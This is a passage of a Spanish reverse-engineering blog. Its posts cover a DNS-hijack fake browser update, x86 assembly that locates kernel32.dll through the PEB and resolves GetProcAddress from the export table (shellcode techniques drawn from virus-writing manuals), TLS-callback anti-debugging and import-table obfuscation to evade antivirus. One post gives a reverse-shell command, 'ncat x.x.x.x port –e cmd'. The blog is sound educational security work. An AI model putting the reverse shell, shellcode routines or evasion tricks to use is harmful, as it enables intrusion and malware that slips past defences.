/></a></p> <p align="justify"><a href="http://www.google.es/">www.google.es</a> me dice que para entrar a su página web debo actualizar el navegador. Que extraño…si Google Chrome se actualiza automáticamente, y aun así ¿www.google.es iba a mostrarme ese mensaje tan rádical “o actualizas, o no entras”? Y ese título de la página web tan cantoso: “WARNING!!!”…todo muy raro.</p> <p align="justify">Por curiosidad pulso el botón “Browser update” y se descarga un ejecutable de 58 kbytes llamado “<a href="http://www.multiupload.com/IOTRXV8FGN">update.exe</a>”, sin icono. Sería mas normal que una actualización se llamase algo como GoogleChrome_Update_11.231.exe y que el ejecutable tuviese el icono de Google Chrome, ¿no?</p> <p align="justify">A estas alturas ya estoy seguro de que hay gato encerrado y que ese ejecutable no es ninguna actualización de Chrome, me la quieren colar…¿Por qué!!? </p> <p align="justify">Pruebo a abrir otras páginas y en todas sale el mismo aviso. Lo intento con Internet Explorer y lo mismo, ¿qué demonios pasa?</p> <p align="justify">Hago ping a <a href="http://www.google.es/">www.google.es</a>:</p> <p align="justify"><a href="http://lh4.ggpht.com/-t3lNlcefkis/TfFN34k_sFI/AAAAAAAAAVw/NPBKJ7C3Dfc/s1600-h/ping5.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="ping" border="0" alt="ping" src="http://lh3.ggpht.com/-Pvw1fQgpS6g/TfFN4S10OEI/AAAAAAAAAV0/HrLrCF2BjIk/ping_thumb7.png?imgmax=800" width="436" height="64" /></a></p> <p align="justify">Después hago ping a <a href="http://www.marca.com/">www.marca.com</a> y la misma IP, todos los dominios me responden con la IP: 188.229.88.8. Abro esa IP en el navegador, <a href="http://188.229.88.8/">http://188.229.88.8/</a>, y veo el mismo mensaje que me salía al principio.</p> <p align="justify">Parece claro que el problema es que mi servidor DNS resuelve todos los dominios con esa IP. ¿Se habrá vuelto loco?</p> <p align="justify">Veamos que servidor DNS estoy usando: ipconfig /all</p> <p align="justify"><a href="http://lh4.ggpht.com/-Aec5kUSrJq0/TfFN41D3GMI/AAAAAAAAAV4/ZZqI2P8RFd0/s1600-h/dnsvafanculo10.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="dnsvafanculo" border="0" alt="dnsvafanculo" src="http://lh4.ggpht.com/-XAQOgGsNDDM/TfFN5zUzHJI/AAAAAAAAAV8/BQtZdzUO2b0/dnsvafanculo_thumb9.png?imgmax=800" width="439" height="130" /></a></p> <p align="justify">Mi router tiene la dirección 192.168.100.254 y él mismo hace de servidor DHCP y de servidor DNS, como es normal en los router domésticos. Pero ahí me dice que el servidor DHCP es la 100.13 y el DNS es la misma IP que me salía antes al resolver cualquier dominio :S </p> <p align="justify">Me desconecto de la red Wi-Fi y me vuelvo a conectar (típica solución a todos los problemas informáticos, reconectar, resetear, reiniciar, etc…), vuelvo a mirar la configuración de mi tarjeta de red y sorpresa:</p> <p align="justify"><a href="http://lh3.ggpht.com/-tzwpgj4tK3c/TfFN6adAryI/AAAAAAAAAWA/hN3-IJAZAeM/s1600-h/dnsok4.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="dnsok" border="0" alt="dnsok" src="http://lh5.ggpht.com/-6MewWS__SJs/TfFN7DwjlDI/AAAAAAAAAWE/lV3i1rl8HDQ/dnsok_thumb5.png?imgmax=800" width="442" height="134" /></a></p> <p align="justify">Todo está perfecto. Pruebo a conectarme a algunas páginas y todo bien.</p> <p align="justify">Ahora que funciona internet aprovecho a subir la supuesta actualización a <a href="http://www.virustotal.com/">VirusTotal</a> para ver que dicen los antivirus al respecto. <a href="http://www.virustotal.com/file-scan/report.html?id=2a44dbea69d83111bdc05bc1d96e815f5a0670f392050898e542bd1a9dcb82a5-1307520913">23/42 antivirus lo detectan</a>, definitivamente es un malware. Aunque los antivirus no se ponene muy de acuerdo, 4 de ellos lo llaman Gen.Variant.Kazy.</p> <p align="justify">Pruebo a reconectarme varias veces para ver si vuelve a salir el mensaje pero nada. ¿Cómo han aparecido esos valores ahí? ¿Mi equipo está infectado? ¿El router se ha vuelto loco temporalmente? </p> <p align="justify"><a href="http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar-pero-como-y-quien.html">En la siguiente entrada lo veremos</a>.</p> <p align="justify"></p> <p align="justify">Pd: Como curiosidad fijaos que la estética de la página está calcada al aviso de sitios maliciosos de Firefox:</p> <p align="justify"><img src="http://www.tuexpertoit.com/wp-content/uploads/2010/11/firefox_seguridad_filtro_web.jpg" width="446" height="218" /></p>Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-4816745650066414070.post-15856578907524597752011-05-29T22:29:00.008+02:002011-05-29T22:59:24.380+02:00Obtener la dirección base de kernel32.dll consultando el PEB<p align="justify">En la entrada de <a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html">Usando GetProcAddress y LoadLibrary para localizar APIs</a> vimos que una de las primeras cosas que hay que hacer es localizar la dirección de memoria donde se carga la dll kernel32.dll. Para ello se utilizaba un código que suponía que en la pila se encontraba una dirección de retorno a una función de dicha dll:</p><pre class="brush: cpp">;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
and eax, 0FFFFF000h ;Paginas de 1000h
searchMZ:
sub eax, 1000h
cmp word ptr[eax], "ZM"
jnz searchMZ
ret
ObtenerKernel32 endp
</pre><p align="justify">Esta forma no parece muy correcta, puede que en alguna versión de Windows pasada o futura no funcione bien. Además se supone que se conoce en que posición de la pila estará el valor de retorno que comentaba, esto por ejemplo puede no saberse exactamente si el código se usa para explotar una vulnerabilidad mediante una shellcode que use ese método.</p><p align="justify">Por suerte existe otra forma de obtener la dirección base de kernel32.dll.</p><p align="justify"><a href="http://es.wikipedia.org/wiki/Win32_Thread_Information_Block">Citando a la wikipedia</a>:</p><blockquote> <p align="justify">En computación, el <b>Win32 Thread Information Block</b> (TIB) es una estructura de datos en los sistemas <a href="http://es.wikipedia.org/wiki/Win32">Win32</a> específicamente en la arquitectura <a href="http://es.wikipedia.org/wiki/X86">x86</a> que almacena información a cerca del thread que se esta ejecutando. </p><p align="justify">El TIB esta indocumentado oficialmente para Windows 9x.La serie Windows NT incluye una estructura NT TIB en winnt.h que lo documenta .<a href="http://es.wikipedia.org/wiki/Wine_(software)">Wine</a> incluye declaraciones para extender (una parte especifica del subsistema) TIB </p><p align="justify">El TIB puede ser usado para obtener buena cantidad de información en el proceso sin llamar ninguna API de Win32.Por ejemplo la emulación de GetLastError() , GetVersion(). A través del puntero en el PEB se puede obtener acceso a la tabla de importación (IAT) , los argumentos pasados al proceso etc …</p></blockquote><p align="justify">La dirección de esta estructura esta apuntada por el registro FS y en la misma página de wikipedia que he comentado antes pueden verse los campos que tiene. Uno de ellos es el Process Enviroment Block, PEB. Una estructura que contiene información sobre el proceso que ejecuta el hilo:</p><pre>FS:[0x30] –> Linear address of Process Environment Block (PEB)</pre><p align="justify">En <a href="http://msdn.microsoft.com/en-us/library/aa813706(v=vs.85).aspx">MSDN</a> podemos ver de que se compone la estructura PEB:
</p><pre class="brush: cpp">typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr; //+0x0C
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
</pre><p align="justify">Mediante esta estructura podemos saber si un proceso está siendo depurado, los parámetros del proceso y lo que mas nos interesa los módulos que ha cargado el Loader de Windows. En estos módulos se encuentra el propio ejecutable y todas las DLLs que ha cargado Windows para poder ejecutarlo, entre ellas estará kernel32.dll. El campo que nos da esta información es el siguiente: </p><pre>PPEB_LDR_DATA Ldr;</pre><p align="justify">Que se encuentra a un desplazamiento de 0x0C desde el principio de la estructura PEB.</p><p align="justify">La estructura PEB_LDR_DATA a su vez también está documentada en <a href="http://msdn.microsoft.com/en-us/library/aa813708(v=vs.85).aspx">MSDN</a>:</p><pre class="brush: cpp">typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList; // +0x14
} PEB_LDR_DATA, *PPEB_LDR_DATA;</pre><p align="justify">En MSDN describen esa lista cómo:</p><blockquote><b>InMemoryOrderModuleList</b>
The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDR_DATA_TABLE_ENTRY structure. For more information, see Remarks.</blockquote><p align="justify">Con la siguiente estructura:</p><pre class="brush: cpp">typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;</pre><p align="justify">Y por último la tabla donde apuntan Flink y Blink:</p><pre class="brush: cpp">typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
->LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase; //+0x10 desde –>
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName; //+0x1C desde –>
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;</pre><p align="justify">Hay que fijarse que los punteros Flink y Blink de la lista doblemente enlazada no apuntan al comienzo de la estructura LDR_DATA_TABLE_ENTRY sino al campo InMemoryOrderLinks, como he marcado con la flecha –>. Los desplazamientos los he puestos relativos a este punto.</p><p align="justify">De esta última estructura nos interesan los campos:</p><pre>PVOID DllBase; </pre><p align="justify">Que contiene la dirección base donde se ha cargado el módulo y:</p><pre>UNICODE_STRING FullDllName;</pre><p align="justify">Que es la ruta y nombre del módulo. El tipo UNICODE_STRING está definido también <a href="http://msdn.microsoft.com/en-us/library/aa380518(v=vs.85).aspx">en MSDN</a>:</p><pre class="brush: cpp">typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;</pre><p align="justify">Perfecto! Ya tenemos todo lo necesario para lograr nuestro objetivo. La idea es primero acceder al TIB, desde este localizar la estructura PEB, después acceder al valor <em>Ldr</em> a la estructura <em>PPEB_LDR_DATA</em>, utilizar el valor <em>InMemoryOrderModuleList</em> para recorrer la lista mediante el puntero <em>Flink</em>(Follow link) y en cada tabla <em>LDR_DATA_TABLE</em> ver si corresponde al módulo kernel32.dll comparando con el campo <em>FullDllName</em>, si no es así ir a la siguiente tabla, si sí que corresponde con kernel32.dll quedarnos con la dirección base <em>DllBase</em> que es lo que buscamos.</p><p align="justify">A continuación dejo el código en ensamblador que realiza todas estas tareas. Para hacerlo lo mas genérico he comparado el nombre del módulo con kernel32.dll de forma que no sea sensible a minúsculas o mayúsculas lo que hace un poco mas largo el código:</p><pre class="brush: cpp">.386
.model flat, stdcall
option casemap:none
assume fs:nothing
.data
Kernel32Name db 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0
Kernel32NameLength dw 24
.code
codigo:
call ObtenerKernel32PEB
ret
;Obtiene la dirección de memoria donde se encuentra cargada kernel32.dll y la guarda en eax
ObtenerKernel32PEB proc
mov eax, [fs:30h] ;PEB
mov eax, [eax+0Ch] ;PEB.Ldr, Loader data
add eax, 14h ;PEB.Ldr.InMemoryOrderModuleList.Flink, Puntero al primer modulo
NextTable:
mov eax, [eax] ;Nos movemos a la siguiente tabla LDR_DATA_TABLE_ENTRY
mov ecx, 0
mov esi, offset [Kernel32Name] ;En esi guardamos la dirección del nombre kernel32.dll en unicode
mov cx, word ptr [eax+1Ch] ;LDR_DATA_TABLE_ENTRY.FullDllName.Length, longitud de la cadena unicode
mov edi, [eax+20h] ;LDR_DATA_TABLE_ENTRY.FullDllName.Buffer, puntero a la cadena unicode con el nombre del módulo
;No nos interesa la ruta entera solo los últimos caracteres, el nombre del fichero
add di, cx ;Nos situamos al final de la cadena
sub di, Kernel32NameLength ;Y restamos el tamaño de la cadena a comparar
mov cx, Kernel32NameLength
ComparaCadenas:
mov bl, byte ptr [edi]
cmp bl, 'a' ;Si bl >= 'a' convertir a mayusculas
jb Mayuscula
sub bl, 20h ;Pasa de minusculas a mayusculas
Mayuscula:
cmp bl, byte ptr[esi]
jnz NextTable ;Si no es kernel32.dll mirar en la siguiente tabla
inc edi
inc esi
dec cx
jnz ComparaCadenas
;Si llega aquí es que la cadena era kernel32.dll, cogemos el dato que nos interesa del modulo
mov eax, [eax+10h] ;eax = LDR_DATA_TABLE_ENTRY.DllBase
ret
ObtenerKernel32PEB endp
end codigo
</pre><p align="justify">Es bastante lioso manejar tantas estructuras y entender el código en ensamblador, lo mejor para entenderlo es seguirlo poco a poco con un depurador, ver las estructuras en memoria y muuucha paciencia.</p><p>Y así obtendríamos la dirección de memoria donde está cargada la librería kernel32.dll, ahora ya podríamos seguir con el proceso que realizábamos en <a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html">la otra entrada de buscar las funciones GetProcAddress y LoadLibrary</a>.</p><p align="justify">Aquí dejo <a href="http://www.lordrna.co.cc/2011/01/obteniendo-la-direccion-de-kernel32.html">una entrada de LordRNA</a> donde hace lo mismo de forma muy similar Gracias a <a href="https://twitter.com/#!/the_swash">@The_Swash</a> también por su solución al mismo problema.</p><p align="justify">Un saludo!</p>Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-4816745650066414070.post-26963718192329350972011-05-22T23:02:00.002+02:002011-08-12T01:22:27.716+02:00Cargando funciones importadas manualmente<div align="justify"><a href="https://twitter.com/#!/the_swash">@The_Swash</a> no para quieto. Acaba de terminar <a href="http://www.multiupload.com/JWYE7ACA6I"><strong>este documento</strong></a> donde explica como rellenar la IAT desde código ensamblador. Muy útil para hacer que un protector de ejecutables que cifre la Import Table y después en ejecución se descifre y rellene la IAT para que el programa funcione correctamente. Dejo a continuación la introducción que ha escrito <a href="https://twitter.com/#!/the_swash">@The_Swash</a>:</div><blockquote><div align="justify">Hola, aquí estoy escribiendo otro artículo que he estado preparando desde el día en el que publiqué el anterior o por lo menos la base.</div></blockquote><blockquote><div align="justify">En este artículo intentaré mostrarles como cargar las funciones que importamos manualmente, es decir no participará ni dependeremos del sistema operativo.<br />
¿Con que fin cargamos las funciones manualmente?<br />
Bueno, en realidad tengo 2 objetivos y son:</div><ol><li> <div align="justify">Mostrar como Windows carga las direcciones de las funciones (API) que importamos.</div></li>
<li> <div align="justify">Una vez conociendo como funciona, podremos relacionarlo con Empaquetadores y <br />
cifradores de archivos.</div></li>
</ol><div align="justify">Como todo necesitaremos conocer un poco de lo que trataremos claro teniendo algunas nociones sobre el formato portable executable (PE) y posteriormente dejaré un código que se <br />
encarga de hacer esta tarea, en realidad la base de todo esto es el código porque a mano sería <br />
muy complejo.</div></blockquote><div align="justify">Muchas gracias por estos documentos!</div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4816745650066414070.post-90396217412397466322011-05-15T22:11:00.001+02:002011-05-15T22:11:26.730+02:00Ejemplo de uso de TLS Callbacks Funtions<p align="justify"><a href="https://twitter.com/#!/the_swash">@The_Swash</a> me ha enviado <a href="http://www.multiupload.com/3LPRD2F4HY">este documento</a> que ha redactado él explicado el uso de Thread Local Storage Callbacks Functions para ejecutar código antes de la propia ejecución del programa en el Entry Point. </p> <p align="justify">Con esto se puede conseguir que por ejemplo cuando se abra un exe con OllyDbg antes de que pare en el EP se ejecute código que detecte que el ejecutable esta siendo depurado y modifique parte del código del ejecutable para engañar a quien intente realizarle ingeniería inversa. Esto es usado desde hace tiempo en el malware, protectores de ejecutables, packers, etc…</p> <p align="justify">Es posible configurar OllyDbg para que se detenga antes del EntryPoint y evitar que se ejecute este código. Para ello hay que ir a <em>Options>Debugging Options>Make first pause at</em> y seleccionar <em>System breakPoint</em>.</p> <p align="justify">Gracias por el documento <a href="https://twitter.com/#!/the_swash">@The_Swash</a>!</p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-71444105002693014202011-05-07T19:30:00.002+02:002011-05-07T19:42:08.740+02:00Usando GetProcAddress y LoadLibrary para localizar APIs 2/2<p align="justify">En la anterior entrada vimos la necesidad de utilizar las funciones GetModuleHandle y GetProcAddress para invocar a otras funciones de Windows. </p> <p align="justify">No hay que olvidar que el objetivo de todo esto es poder añadir código a un ejecutable ya compilado el que seguramente no use las funciones que nosotros necesitamos.</p> <p align="justify">Lo primero a tener en cuenta es que la función GetModuleHandle en realidad devuelve la dirección de memoria donde está cargada una DLL. La dirección donde se carga Kernel32.dll no siempre es la misma así que necesitamos buscar donde ha cargado Windows la librería.</p> <p align="justify">Una de las formas de hacer esto la encontré en los manuales de programación de Virus de ZeroPad que podéis encontrar en el grupo de google de <a href="http://groups.google.com/group/sector-virus">SectorVirus</a>.</p>
<pre class="brush: cpp">
;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
and eax, 0FFFFF000h ;Paginas de 1000h
searchMZ:
sub eax, 1000h
cmp word ptr[eax], "ZM"
jnz searchMZ
ret
ObtenerKernel32 endp
</pre>
<p align="justify">El código lo que hace es tener en cuenta que el loader de Windows cuando carga un ejecutable con la función CreateProcess se deja en la cima de la pila el valor de retorno a la función CreateProcess. Y como esta función está en Kernel32.dll ya tenemos una dirección de memoria de kernel32, a continuación va restando de 1000h en 1000h hasta encontrar el inicio de la DLL, los caracteres “MZ”. Este método lo he probado en Windows XP e Windows 7. Desconozco si en versiones viejas funciona o no. </p> <p align="justify">Otra opción para encontrar la dirección donde se ha cargado Kernel32.dll es recorrer ciertas estructuras del PEB, pero la cosa ya se complica. En otra entrada se vera un método mas genérico.</p> <p align="justify">Una vez hallado el inicio de kernel32 lo siguiente es localizar la tabla de funciones exportadas, ExportTable, accediendo a la tabla de directorios, PE+78h. Sabiendo donde está la ExportTable, se accede al campo ExportNameTable, ET+20h, donde están los nombres de todas las funciones exportadas y vamos comparando los nombres con la función que buscamos. Una vez localizado recordamos la posición donde lo hemos encontrado y mediante la tabla Export Ordinal Table obtenemos el índice para ya por fin acceder a la tabla Export Address Table que contiene la dirección de la función que tanto a costado conseguir jeje.</p> <p align="justify">Lo he explicado muy resumidamente, en el capítulo 7 de SectorVirus que <a href="http://www.multiupload.com/FV66YGU0P2">cuelgo aquí</a> está explicado con todo detalle la estructura de la ExportTable y como recorrerla para encontrar una determinada función.</p> <p align="justify">A continuación dejo la función en ensamblador que hace esto. Necesita saber la dirección de kernel32 hallada anteriormente.</p>
<pre class="brush: cpp">
.data
Kernel32Dir dd 0
PEHeader dd 0
ET dd 0
PosicionEAT dw 0
Contador dd -1
FuncionBuscada db "GetProcAddress",0
FuncionBuscadaLen dd 0Eh
.code
ObtenerGPA proc
mov eax, [Kernel32Dir]
add eax, [eax+3Ch] ;Obtenermos el inicio del PE
mov [PEHeader], eax
add eax, 78h ;RVA de la export table
mov eax, [eax]
add eax, [Kernel32Dir] ;Pasamos de dirección relativa virtual, RVA, a dirección virtual
mov [ET], eax ;Guardamos el valor
add eax, 20h ;Nos situamos en la ExportNameTable, ET+20h
mov eax, [eax]
add eax, [Kernel32Dir] ;RVA->VA
bucle: ;Bucle para comprobar si es la función GetProcAddress
inc [Contador] ;Para saber en que posicion está la funcion
mov ebx, [eax] ;Direcion del nombre de la funcion buscada
add ebx, [Kernel32Dir] ;RVA->VA
mov esi, ebx
add eax, 4 ;Siguiente nombre
lea edi, [FuncionBuscada]
mov ecx, [FuncionBuscadaLen]
repe cmpsb ;Compara esi y edi, con una longitud de ecx
jnz bucle
;Se mira en la tabla de ordinales para saber en que posición esta la funcion en la tabla de funciones
mov ecx, [ET]
mov ecx, [ecx+24h] ;EOT
add ecx, [Kernel32Dir]
mov eax, [Contador]
add eax, eax ;eax=eax*2
add ecx, eax
mov ax, word ptr [ecx]
mov [PosicionEAT], ax
;Por ultimo se accede a la posicion de la EAT para hallar la direccion de la funcion
mov eax, [ET]
mov eax, [eax+1Ch]
add eax, [Kernel32Dir]
mov ebx, [Contador]
rol ebx, 2 ;Contador*4
add eax, ebx
mov eax, [eax]
add eax, [Kernel32Dir] ;Retornamos en eax la dirección de la función
ret
ObtenerGPA endp
</pre>
El código está mucho mejor documentado en el capítulo de SectorVirus que he mencionado antes.
Con esto ya podríamos llamar a GetProcAddress y obtener las direcciones de las funciones que nos hagan falta.
Un saludo!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4816745650066414070.post-85970119920506963192011-05-01T14:44:00.002+02:002011-05-01T14:56:53.114+02:00Usando GetProcAddress y LoadLibrary para localizar APIs 1/2<p align="justify">En las dos entradas que escribí sobre añadir código portable a un ejecutable:<br><a title="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html" href="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html">http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html</a><br><a title="http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html" href="http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html">http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html</a></p> <p align="justify">Hice trampas o mas bien me facilite mucho la situación. Ya que me servía de que la API que iba a usar el código ya la importaba el ejecutable (MessageBoxW). Pero no siempre podemos confiar en tener esa suerte.</p> <p align="justify">Así que lo suyo es primero encontrar la dirección de la API que necesitamos y después usarla. Para tal tarea se utiliza la API <a href="http://msdn.microsoft.com/en-us/library/ms683212(v=vs.85).aspx">GetProcAddress</a>, que pasándole el handle de una dll (la dirección de memoria donde empieza la dll) y el nombre de la función buscada nos devuelve la dirección de la misma. Para obtener el handle de una DLL que ya tiene cargada el ejecutable se usa la funcion <a href="http://msdn.microsoft.com/en-us/library/ms683199(v=vs.85).aspx">GetModuleHandle</a>. Hay que tener en cuenta que el cargador de Windows cuando arranca un programa siempre carga las dlls Kernel32.dll y NtDll.dll aunque el programa no necesite ninguna API de las mismas.</p> <p align="justify">Esto se puede ver compilando un simple programa en ensamblador que solo tiene una instrucción nop y abriendolo con OllyDbg:</p>
<pre class="brush: cpp">
.386
.model flat, stdcall
option casemap:none
.code
codigo:
nop
end codigo
</pre>
<p align="justify"><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Tb1VtqIUtwI/AAAAAAAAAVY/v4se59uK4MM/s1600-h/image3.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Tb1VuUwZuZI/AAAAAAAAAVc/2aBbPAlAFBM/image_thumb1.png?imgmax=800" width="464" height="217"></a></p> <p align="justify">Así que si la API que necesitamos está en las DLLs Kernel32.dll o NtDll.dll nos vale con usar la función GetModuleHandle y pasarle ese valor a GetProcAddress junto al nombre de la API buscada:</p>
<pre class="brush: cpp">
HMODULE h = GetModuleHandle("kernel32.dll");
GetProcAddress(h, "ExitProcess");
</pre>
<p align="justify">Si no deberemos usar la API <a href="http://msdn.microsoft.com/en-us/library/ms684175(v=vs.85).aspx">LoadLibrary</a> para cargar una DLL en la memoria del proceso. Por ejemplo para los anteriores entradas necesitábamos usar la API <a href="http://msdn.microsoft.com/en-us/library/ms645505(v=vs.85).aspx">MessageBoxA</a>. Mirando en MSDN sabemos que se encuentra en la DLL User32.dll.</p>
<pre class="brush: cpp">
HMODULE h = LoadLibrary("User32.dll");
GetProcAddress(h, "MessageBoxA");
</pre>
<p align="justify">La función LoadLibrary a su vez la podemos localizar mediante el uso de GetProcAddress:</p>
<pre class="brush: cpp">
HMODULE h = GetModuleHandle("kernel32.dll");
LoadLibraryF = (void*)GetProcAddress(h, "LoadLibrary");
h = LoadLibraryF("User32.dll");
GetProcAddress(h, "MessageBoxA");
</pre>
<p align="justify"></p> <p align="justify">Vemos que las 2 funciones imprescindibles para cargar el resto son GetModuleHandle y GetProcAddress. </p> <p align="justify">Pero fijaos en un problema, si un programa no importa las funciones GetModuleHandle y GetProcAddress no sabemos en que dirección están y por lo tanto no podemos encontrar otras APIs. Nos encontramos en un bucle, para saber la dirección de GetProcAddress necesitamos utilizar GetProcAddress y es lo que no sabemos.</p> <p align="justify">En la siguiente entrada veremos como se soluciona esto.</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4816745650066414070.post-57249090439662982432011-04-19T02:30:00.001+02:002011-04-19T02:30:10.889+02:00Cómo habilitar escritorio remoto a ciegas<p align="justify">La tarjeta gráfica de mi portátil ha muerto. Ya mostraba algunos síntomas, pantallazos negro, fallos del driver, rayas, todo debido al calor y mira que limpie el ventilador, pero ya era demasiado tarde. De modo que tengo un portátil funcionando pero en el que no veo nada de lo que pasa.</p> <p align="justify">Por suerte tengo un netbook para ver pelis y tal… Está bien pero a la hora de ejecutar máquinas virtuales y demás va un poco lento.</p> <p align="justify">Así que pensé en usar el netbook como “equipo tonto” que no tiene nada instalado y que se conecta por escritorio remoto al portátil bueno.</p> <p align="justify">El problema es que cuando la tarjeta murió no tenía habilitado el escritorio remoto. Así que tenía que activarlo a ciegas. La solución que se me ocurrió fue ver que proceso seguía en un Windows 7 para habilitar el escritorio remoto usando solamente el teclado y repetirlo sin confundirme en el portátil sin gráfica.</p> <p align="justify">La combinación mágica es la siguiente: <br />Pulsar tecla de windows, escribir “permitir el” (si está en español), esperar unos segundos, pulsar enter, pulsar 3 veces tab, tecla abajo, tab, enter, pulsar 5 veces tab y por último 2 veces enter.</p> <p align="justify">Así habremos habilitado el escritorio remoto en nuestro equipo. Siempre y cuando no se tenga firewall activado.</p> <p align="justify"><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TazXj9RgSqI/AAAAAAAAAVQ/ax4Dhw-ROFE/s1600-h/image%5B4%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TazXkntCWwI/AAAAAAAAAVU/Zxtq8NnyyGY/image_thumb%5B2%5D.png?imgmax=800" width="337" height="402" /></a></p> <p align="justify">Otra opción hubiese sido sacar el disco duro, conectarlo a otro equipo, meter en una carpeta ncat, iniciar el equipo y a ciegas ejecutar cmd.exe y el comando necesario para que ncat nos de una shell a otro equipo: <em>ncat x.x.x.x port –e cmd.</em> Y desde la consola habilitar el escritorio remoto modificando este valor del registro usando el comando reg: <br /><em>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections: 0</em> </p> <p align="justify">O instalar alguna herramienta de administración remota, siempre que no necesite ningún tipo de interacción gráfica para la instalación (casi todas). O sino ya instalar un troyano que permita administrar el escritorio.</p> <p align="justify">Tendré que acostumbrarme a este mini teclado…</p> <p align="justify">Saludos!</p> Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-4816745650066414070.post-39394495868484857572011-04-14T12:42:00.001+02:002011-04-14T12:42:41.868+02:00Con la IT ofuscada MalwareAnalyzer falla<p align="justify">Mirando los RSS he llegado a este post de hacktimes, <a href="http://www.hacktimes.com/an_lisis_de_malware">Análisis de Malware – MalwareAnalyzer</a>, no conocía MalwareAnalyzer, parece bastante útil. Así que probe con el <a href="http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-it-consecuencias.html">Downloader que comente en la anterior entrada</a> con la IT ofuscada y boom, ha petado:</p> <p><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TabPngzDIiI/AAAAAAAAAVI/OW2Ay9QBBbQ/s1600-h/image%5B3%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TabPoLPnHzI/AAAAAAAAAVM/8ophd8mkI9s/image_thumb%5B1%5D.png?imgmax=800" width="461" height="82" /></a></p> <p>Ups!</p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-57158378856981869092011-04-13T18:19:00.003+02:002011-04-13T18:22:03.149+02:00Ofuscación de la IT, consecuencias<p align="justify">Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(<a href="http://www.google.it/url?sa=t&source=web&cd=1&ved=0CBMQFjAA&url=http%3A%2F%2Fwww.woodmann.com%2Fcollaborative%2Ftools%2Findex.php%2FLordPE&ei=ZMKlTZ67BoOVswbj37GzBg&usg=AFQjCNHx5LmukOwDUEUXf32oZ1tFIDhzSA">LordPE</a>).</p> <p align="justify">Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y 